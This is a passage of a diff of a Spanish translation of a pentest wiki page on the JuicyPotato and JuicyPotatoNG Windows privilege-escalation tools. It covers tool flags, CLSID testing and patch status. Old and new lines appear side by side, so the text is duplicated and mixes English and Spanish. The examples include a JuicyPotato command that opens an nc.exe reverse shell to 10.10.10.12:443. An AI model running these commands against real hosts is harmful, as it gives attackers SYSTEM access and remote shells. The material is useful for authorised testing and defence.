Después de algunas pruebas obtuvimos y probamos una lista extensa de [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) en varias versiones de Windows.
|
||||
|
||||
### Detalles jugosos <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
JuicyPotato te permite:
|
||||
|
||||
- **CLSID objetivo** _elige cualquier CLSID que quieras._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _puedes encontrar la lista organizada por OS._
|
||||
- **COM Listening port** _define el puerto de escucha COM que prefieras (en lugar del 6666 hardcoded y marshalled)_
|
||||
- **COM Listening IP address** _enlaza el servidor a cualquier IP_
|
||||
- **Process creation mode** _dependiendo de los privilegios del usuario impersonado puedes elegir entre:_
|
||||
- `CreateProcessWithToken` (necesita `SeImpersonate`)
|
||||
- `CreateProcessAsUser` (necesita `SeAssignPrimaryToken`)
|
||||
- **CLSID objetivo** _elige cualquier CLSID que desees._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _puedes encontrar la lista organizada por OS._
|
||||
- **Puerto de escucha COM** _define el puerto de escucha COM que prefieras (en lugar del marshalled hardcoded 6666)_
|
||||
- **Dirección IP de escucha COM** _vincula el servidor a cualquier IP_
|
||||
- **Modo de creación de procesos** _dependiendo de los privilegios del usuario suplantado puedes elegir entre:_
|
||||
- `CreateProcessWithToken` (needs `SeImpersonate`)
|
||||
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
|
||||
- `both`
|
||||
- **Process to launch** _lanza un ejecutable o script si la explotación tiene éxito_
|
||||
- **Process Argument** _personaliza los argumentos del proceso lanzado_
|
||||
- **RPC Server address** _para un enfoque sigiloso puedes autenticarte en un servidor RPC externo_
|
||||
- **RPC Server port** _útil si quieres autenticarte en un servidor externo y el firewall bloquea el puerto `135`…_
|
||||
- **TEST mode** _principalmente para propósitos de prueba, p.ej. testear CLSIDs. Crea el DCOM e imprime el usuario del token. Ver_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
||||
- **Proceso a lanzar** _lanza un ejecutable o script si la explotación tiene éxito_
|
||||
- **Argumentos del proceso** _personaliza los argumentos del proceso lanzado_
|
||||
- **Dirección del servidor RPC** _para un enfoque sigiloso puedes autenticarte en un servidor RPC externo_
|
||||
- **Puerto del servidor RPC** _útil si quieres autenticarte en un servidor externo y el firewall está bloqueando el puerto `135`…_
|
||||
- **Modo TEST** _principalmente para pruebas, i.e. testing CLSIDs. Crea el DCOM e imprime el usuario del token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### Uso <a href="#usage" id="usage"></a>
|
||||
```
|
||||
@ -72,30 +72,30 @@ Optional args:
|
||||
-k <ip>: RPC server ip address (default 127.0.0.1)
|
||||
-n <port>: RPC server listen port (default 135)
|
||||
```
|
||||
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
### Reflexiones finales <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
[**De juicy-potato README**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
|
||||
Si el usuario tiene los privilegios `SeImpersonate` o `SeAssignPrimaryToken` entonces eres **SYSTEM**.
|
||||
Si el usuario tiene privilegios `SeImpersonate` o `SeAssignPrimaryToken`, entonces eres **SYSTEM**.
|
||||
|
||||
Es casi imposible evitar el abuso de todos estos COM Servers. Podrías pensar en modificar los permisos de estos objetos mediante `DCOMCNFG`, pero buena suerte, esto va a ser un desafío.
|
||||
Es casi imposible prevenir el abuso de todos estos COM Servers. Podrías pensar en modificar los permisos de estos objetos mediante `DCOMCNFG`, pero buena suerte, esto va a ser un desafío.
|
||||
|
||||
La solución real es proteger cuentas y aplicaciones sensibles que se ejecutan bajo las cuentas `* SERVICE`. Detener `DCOM` sin duda inhibiría este exploit pero podría tener un impacto serio en el sistema operativo subyacente.
|
||||
La solución real es proteger cuentas sensibles y aplicaciones que se ejecutan bajo las cuentas `* SERVICE`. Detener `DCOM` sin duda inhibiría este exploit, pero podría tener un impacto serio en el sistema operativo subyacente.
|
||||
|
||||
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
## JuicyPotatoNG (2022+)
|
||||
|
||||
JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining:
|
||||
JuicyPotatoNG reintroduce una escalada de privilegios local al estilo JuicyPotato en Windows modernos combinando:
|
||||
- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
|
||||
- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
|
||||
- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
|
||||
- Un hook SSPI para capturar e impersonar la autenticación entrante de SYSTEM sin requerir RpcImpersonateClient, lo que también permite CreateProcessAsUser cuando solo está presente SeAssignPrimaryTokenPrivilege.
|
||||
- Trucos para satisfacer las restricciones de activación de DCOM (por ejemplo, el former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
|
||||
|
||||
Important notes (evolving behavior across builds):
|
||||
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
|
||||
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
|
||||
Notas importantes (comportamiento en evolución a través de las versiones):
|
||||
- septiembre de 2022: la técnica inicial funcionó en sistemas Windows 10/11 y Server soportados usando el “INTERACTIVE trick”.
|
||||
- actualización de enero de 2023 por los autores: Microsoft más tarde bloqueó el truco INTERACTIVE. Un CLSID diferente ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restaura la explotación pero solo en Windows 11 / Server 2022 según su publicación.
|
||||
|
||||
Basic usage (more flags in the help):
|
||||
Uso básico (más flags en la ayuda):
|
||||
```
|
||||
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
|
||||
# Useful helpers:
|
||||
@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
|
||||
# -s Scan for a COM port not filtered by Windows Defender Firewall
|
||||
# -i Interactive console (only with CreateProcessAsUser)
|
||||
```
|
||||
If you’re targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state.
|
||||
Si apuntas a Windows 10 1809 / Server 2019 donde el JuicyPotato clásico está parcheado, prefiere las alternativas enlazadas arriba (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG puede ser situacional dependiendo del build y del estado del servicio.
|
||||
|
||||
## Examples
|
||||
## Ejemplos
|
||||
|
||||
Nota: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) para una lista de CLSIDs para probar.
|
||||
Nota: Visita [esta página](https://ohpe.it/juicy-potato/CLSID/) para una lista de CLSIDs para probar.
|
||||
|
||||
### Get a nc.exe reverse shell
|
||||
### Obtener una reverse shell con nc.exe
|
||||
```
|
||||
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
|
||||
|
||||
@ -132,17 +132,17 @@ c:\Users\Public>
|
||||
|
||||
## CLSID Problems
|
||||
|
||||
A menudo, el CLSID por defecto que usa JuicyPotato **no funciona** y el exploit falla. Normalmente se necesitan varios intentos para encontrar un **CLSID que funcione**. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:
|
||||
Con frecuencia, el CLSID predeterminado que JuicyPotato usa **no funciona** y el exploit falla. Por lo general, se necesitan múltiples intentos para encontrar un **CLSID que funcione**. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:
|
||||
|
||||
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
|
||||
|
||||
### **Checking CLSIDs**
|
||||
### **Comprobación de CLSIDs**
|
||||
|
||||
Primero, necesitarás algunos ejecutables además de juicypotato.exe.
|
||||
|
||||
Descarga [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) y cárgalo en tu sesión de PS, y descarga y ejecuta [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ese script creará una lista de posibles CLSIDs para probar.
|
||||
Descarga [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) y cárgalo en tu PS session, y descarga y ejecuta [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ese script creará una lista de posibles CLSIDs para probar.
|
||||
|
||||
Luego descarga [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(cambia la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútalo. Empezará a probar cada CLSID, y **cuando cambie el número de puerto, significará que el CLSID funcionó**.
|
||||
Luego descarga [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (cambia la ruta a la lista de CLSID y al ejecutable juicypotato) y ejecútalo. Empezará a probar cada CLSID, y **cuando cambie el número de puerto, significará que el CLSID funcionó**.
|
||||
|
||||
**Comprueba** los CLSIDs que funcionan **usando el parámetro -c**
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user